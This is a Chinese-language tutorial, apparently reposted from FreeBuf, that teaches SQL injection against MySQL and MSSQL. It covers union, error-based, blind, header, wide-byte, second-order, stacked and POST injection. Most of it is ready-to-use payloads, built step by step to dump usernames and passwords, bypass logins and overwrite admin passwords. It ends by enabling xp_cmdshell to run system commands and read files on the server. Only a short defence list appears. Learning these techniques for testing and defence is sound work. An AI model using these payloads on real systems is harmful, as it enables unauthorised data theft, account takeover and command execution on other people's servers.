社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

MYSQL+MSSQL注入理解

船山信安 • 2 周前 • 27 次点击  

MySQL

联合注入
  • 通过union关键字,将恶意代码带入数据库执行

步骤

判断注入点

http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=1
and两边都为真,回显正常,有数据
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=2
and一边为真一边为假,回显异常,无数据

构造闭合(字符型)

①在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s
//判断是否为字符型

②在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s //结果返回正常

③在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s //结果返回异常
则通过①②③判断出为字符型

常用构造闭合符号:
单引号' 双引号" 单引号+括号') 双引号+括号")

常用注释符号:
--空格(经常会在其后面加上一个任意字母区分括号eg:-- s)

判断字段数量

order by:排序
注意:如果是数字型注入,也有必要加上注释 # 或者 --空格,因为,在数据传递的时候,不知道
order by后面是否跟了其他语句
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by 3
判断字段数量,返回正常,说明至少存在3个字段
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by n
返回异常,说明不存在n列

union联合查询,判断回显点

http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 union select 1,2,3

爆数据

user()   database()   version()
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=-1
#-1是让前面的代码失效(不占回显位) 好执行后面我们想要执行的爆库语句()
union select 1,user(),database()

爆所有库名

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,user(),group_concat(schema_name)
from information_schema.schemata

爆security库名中的所有表名

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(TABLE_NAME)
from information_schema.TABLES WHERE TABLE_SCHEMA=database();

爆security库名中users表中的所有字段




    
http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(column_name)
from information_schema.columns
WHERE TABLE_SCHEMA=database() and table_name="users"

爆users表中的用户,密码

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,group_concat(username), group_concat(password)
from users
报错注入
  • 后台没有对数据库报错信息进行处理,将错误信息返回给前台

  • 通过报错函数构造payload,通过报错信息返回查询的信息

  • 相关函数

    • extractvalue

    • updatexml

    • floor

步骤

判断是否可以注入

123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库




    
123') or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123') or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123') or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123') or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s
盲注
  • 通过观察应用程序的响应或者延迟来判断数据库信息是否正确

  • 二分法

  • 可以通过DNSlog外带

  • 相关函数

    • left(m,n) --从左向右截取字符串m返回其前n位

    • substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串

    • ascii(m) --返回字符m的ASCII码

    • if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3

    • sleep(m)--使程序暂停m秒

    • length(m) --返回字符串m的长度

    • count(column_name) --返回指定列的值的数目

    • 通过长度判断length():length(database())>=x

    • 通过字符判断substr():substr(database(),1,1) ='s'

    • 通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x

    • 布尔

    • 时间

步骤

布尔盲注

  1. 首先判断注入点,既不能联合也不能报错

  2. 尝试布尔盲注,首先判断当前数据库长度

二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>10 -- s //返回false 0-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>5 -- s //返回true 5-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>7 -- s //返回true 7-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())>8 -- s //返回false

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and
length(database())=8 -- s //返回true 确定长度为8
  1. 判断库名具体字符

判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),1,1))=115 -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),2,1))=115 -- e
... ...
直到判断库名为8个字符的security
  1. 判断表长度(方法同上 二分法)

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6 -- s (例子:emails)

#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表

... ...依此类推
  1. 判断表名具体字符(方法同上 二分法 判断ascii码)

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101 -- s #(e)
|| ||
第1个表 ||
第一个字符

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101 -- s #(m)

... ...
直到找到所有表以及表名 或者想要的用户表
  1. 找到想要的表以及字段(方法同上)后,获取内容

users表为例  字段为username  数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select username from users limit 0,1))=4 -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...

#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ASCII(substr((select username from
users limit 0,1),1,1))=68 -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据

时间盲注

  1. 首先判断注入点,既不能联合也不能报错,且没有内容变化

  2. 尝试时间盲注,首先判断当前数据库长度

二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>10),sleep(2),1) -- s //直接返回 0-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>5),sleep(2),1) -- s //延时2秒 5-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>7),sleep(2),1) -- s //延时2秒 7-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())>8),sleep(2),1) -- s //直接返回

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and
if((length(database())=8),sleep(2),1) -- s //延时2秒 确定长度为8
  1. 判断库名具体字符

判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(2),1) -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),2,1))=115),sleep(2),1) -- e
... ...
直到判断库名为8个字符的security
  1. 判断表长度(方法同上 二分法)

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select table_name from
information_schema.tables
where table_schema=database() limit 0,1))=6),sleep(2),1) -- s (例子:emails)

#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表

... ...依此类推
  1. 判断表名具体字符(方法同上 二分法 判断ascii码)

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),1,1))=101),sleep(2),1) -- s #(e)
|| ||
第1个表 ||
第1个字符

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from
information_schema.tables where
table_schema=database() limit 0,1),2,1))=101),sleep(2),1) -- s #(m)

... ...
直到找到所有表以及表名 或者想要的用户表
  1. 找到想要的表以及字段(方法同上)后,获取内容

users表为例  字段为username  数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select username
from users limit 0,1))=4),sleep(2),1) -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...

#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ASCII(substr((select username from
users limit 0,1),1,1))=68),sleep(2),1) -- s
||
第一个字符=68 =》D
... ...
依此类推 第一条数据为 Dumb
直到判断出username字段所有数据
header注入
  • 注入点

    • UA

    • REFEDER

    • X-FORWORDED-FOR

    • COOKIE

  • 方式

    • 联合

    • 报错

    • 盲注

注意

  • 进行head注入时,应该知道其中的一个账号密码(可用暴力破解),之后再修改UA头

  • 除了UA头还有referer头,IP头

    • IP头:HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、HTTP_X_FORWARDED、HTTP_FORWARDED_FOR、HTTP_FORWARDED

步骤

以UA头为例

修改UA头报错

User-Agent: 1'

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use
near '127.0.0.1', 'admin')' at line 1


insert into 表名(字段,字段,字段) values( 值 , 值 , 值 )
|| || ||
UA ip admin
|| || ||
insert into 表名(字段,字段,字段) values( 值 , '127.0.0.1', 'admin')
||
1'

构造SQL语句字段
User-Agent: 123','1','123') #
... ... ... values('123','1','123') #,'127.0.0.1','admin')
#重点:构造字段(先要判断有几个字段,字段中含有我们想要的SQL语句,位置在哪个字段都可)
#后面注释掉了原有的 2个字段 ip admin
#所以前面要构造闭合加上 )

爆数据库以及其他操作

User-Agent: 123','1'and Extractvalue
('1',concat("~~",database(),"~~")),'123') #

User-Agent: 123','1','123'and Extractvalue
('1',concat("~~",database(),"~~"))) #

User-Agent: 123'and Extractvalue
('1',concat("~~",database(),"~~")),'1','123') #
宽字节注入
  • mysql默认使用GBK编码,会认为2个字符是一个汉字

    • 前一个字符ASCII码要大于128,才会得到汉字范围

  • php对参数使用函数addslashes做了限制,使用\将引号转义

流程

(1) ?id=1' and 1=1 #
这是正常的语句,我们使用SQL语句看一下
select * from user where id='1' and 1=1 #' //可以成功闭合

当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
在sql中的语句是:
select * from user where id='1\' and 1=1 #'
# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合

(2) 当我们代入了 %df 时,在数据库中就变成了
①select * from user where id='1%df\' and 1=1 #'
②select * from user where id='1%df%5c' and 1=1 #'
③select * from user where id='1運' and 1=1 #'
* 这时,转义函数,还会对我们输入的单引号进行转义,转义成 `\'`
而GBK编码下,反斜杠`\`的十六进制表示是`5C`。
因此,当你传入的参数为`%df\'`,经过GBK编码处理后,`\`会被编码成`%5C`
* 所以传入数据库中的参数变成了`%df%5C'`
* 数据库对sql语句进行GBK编码后,会将`%df%5c`结合到一起组成 `運`
从而通过`%df`吃掉了反斜杠`\` 从而闭合掉了后面的引号,查询成功
步骤
  • 闭合语句

http://xxx.xxx.xxx.xxx/Less-32/?id=1%df'  -- s
  • 判断注入点

http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=1 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=2 -- s
  • 判断字段

http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' order by 3 -- s
  • 尝试联合查询,定位回显点

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union select 1,2,3 -- s
  • 爆出当前用户

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,user(),database() -- s
  • 查找所有的库名

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(schema_name) from
information_schema.schemata -- s
  • 查找所有表名

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() -- s
  • 查找所有字段名

过滤了双引号,会报错

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' unio
n select 1,2,group_concat(column_name) fro
m information_schema.columns where table_schema=database() an
d table_name="users" -- s

方法:
①表名转16进制
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and table_name=0x7573657273 -- s
②子查询
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union
select 1,2,group_concat(column_name) from
information_schema.columns where
table_schema=database() and
table_name=(select table_name from information_schema.tables where
table_schema=database() limit 3,1) -- s
二次注入
  • 恶意数据写入数据库后,去调用存在问题的数据,造成恶意代码执行

  • 利用

    • SQL注入执行高效率查询语句消耗服务器资源

    • 获取数据

    • 绕过验证(POST型-登录)

    • 提权

    • DOS攻击

步骤

第一次插入恶意代码值:

插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s

第二次执行的操作,调用了第一次插入的值admin' -- s

update users set password='admin' where username='admin' -- s'
实际上修改的是账号:admin (后面的 -- s'为注释,不起作用)

select * from users where username='admin' -- s'
delete from users where username='admin' -- s'

注意

可能在网站开发时,会对用户输入的数据进行去空格处理,此时使用注释 --空格 可能会存在问题
因此可用 # 进行构造
堆叠注入
  • 由于;,使得多条sql语句能够一起执行,在;后面构造恶意代码

  • 防御:mysqli_ query函数 限制查询条数

步骤

堆叠注入SQL语句:

select * from users where id='1';
select if(length(database())>5,sleep(5),1)%23;

Payload=

1';select if(length(database())>5,sleep(5),1)%23

Payload=

1';select if(substr(user(),1,1)='r',sleep(3),1)%23

payload=

1';insert into users(id,username,password) value (666,'zgao','zgao') --+

payload=

1';update users set password = '12345678' where username='admin' -- s

如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句

POST注入
  • post注入思路和get显错位注入思路一致

  • 只是请求的方法从get变为了post

一般的基本思路如下,以登录框为注入点为例(密码随便输入):

tips:

万能密码:
xxx' or 1=1 #

1.已知一个用户
  • eg:admin

  • 使用连接符and

判断是否可以注入

admin' and 1=1 -- s        //返回正常,登录成功
admin' and 1=2 -- s //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

#闭合符号'需要进行判断确定

判断字段数 =》 order by

admin' order by 3

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

1231' union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() -- s

得到字段名 =》 information_schema.columns

1231' union select 1,2,group_concat(column_name) 
from information_schema.columns where table_schema=database()
and table_name="users" -- s

获取数据

1231' union select 1,2,group_concat(username) from users
2.不知道用户名
  • 使用连接符or

  • 结合报错注入(通常在没有回显时使用)

判断是否可以注入

123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库

123' or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123' or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123' or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123' or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s

ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制

防御
  • 对用户输入进行严格过滤

  • 使用waf

  • 定期审查更新代码,识别修复SQL注入漏洞点

Sqlserver

常识
  • mssql系统自带数据库: master

  • 每个库都有一个系统自带表(系统对象表):sysobjects

  • sysobjects三个字段:NAME XTYPE ID

where xtype='x' and name='xp_cmdshel'  #以x开头  名称为xp_cmdshel
* S:系统表
* U:用户创建表\*\*(注意为大写)\*\*
* **小写为过滤条件**
  • id:连接syscolumns表 (相对于存储的字段信息)

    • name:表名信息

    • xtype:表的常见类型

  • syscolumns表:保存当前数据库中的所有列名 (通过name关键字来表示,此时的name不是表名信息的name)

#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
  • top关键字:输出限制,相当于MySQL中的limit

    • 用法:top + 数字

  • stuff替换字符串

STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式)  # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。

#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')

这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
  • 常用参数

select @@version       --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前6个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner

注释符 --
  • **is_srvrolemember('server_role')**查询数据库权限 正确返回1

    • sysadmin 系统管理员

    • serveradmin 服务器管理员

    • setupadmin 安装程序管理员

    • securityadmin 安全管理员

    • processadmin 进程管理员

    • diskadmin 磁盘管理员

    • dbcreator 数据库创建者

    • bulkadmin 大容量插入创建者

    • public默认的、预定义的角色,sqlserver实例中每个登录用户的默认角色

    • server_role

  • **is_member('database_role')**查询数据库角色 正确返回1

    • db_owner****数据库所有者

    • db_ddladmin****数据库DDL管理员(创建、修改、删除表)

    • db_accessadmin 数据库访问管理员。具有管理数据库用户访问权限的权限。

    • db_securityadmin 数据库安全管理员。具有管理数据库角色、权限和访问控制列表的权限。

    • db_backupoperator 数据库备份操作员。具有备份数据库的权限。

    • db_datareader 数据库数据读取者。具有读取数据库中所有表和视图的权限。

    • db_datawriter 数据库数据写入者。具有向数据库中所有表写入数据的权限。

    • db_denydatareader 拒绝数据库数据读取者

    • db_denydatawriter 拒绝数据库数据写入者

    • database_role

  • 盲注函数

    • len() 判断长度

    • substring() 截取字符串

    • ascii() 返回字符ASCII码

    • waitfor delay '时:分:秒' 延时

联合注入
#判断是否存在注入点
mssql.php?id=1 and 1=1 --

#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --

#判断字段长度
mssql.php?id=1 order by 3 -- #正常
mssql.php?id=1 order by 4 -- #报错

#判断回显位
mssql.php?id=-1 union select 11,22,33 --

#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --

#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' -- #所有表名

#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表


#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects -- #其中1代表 user表中的第1列
... ...

#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users
  • 嵌套语句

#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases

-- 查询前2条数据
select top 2 name from master..sysdatabases

-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)

#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects) #第二个表

#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表
报错注入
函数
convert() 
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()

convert()函数

#查询基本信息
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息

#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --

--或者
?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推

#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --

#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --

#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
盲注
#布尔盲注
#判断是否存在盲注
and 1=1-- --正常显示
and 1=2-- --不正常

#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为4个字符,页面正常显示

#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N

#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
进阶

多语句注入

原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。

1'; exec xp_cmdshell 'whoami > c:\temp.txt' --

判断库站分离

- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端

-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))

判断XP_CMDSHELL是否开启

- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭

-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头 名称为xp_cmdshel

-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --

写入文件

- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'

读取文件

- 创建临时表,将文件写入该表,然后查询,最后删除

create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt';
#bulk inser 添加操作 通常用于处理大量数据
#master.dbo.temp master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;


来源:【MYSQL+MSSQL注入理解 - FreeBuf网络安全行业门户

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/169275
 
27 次点击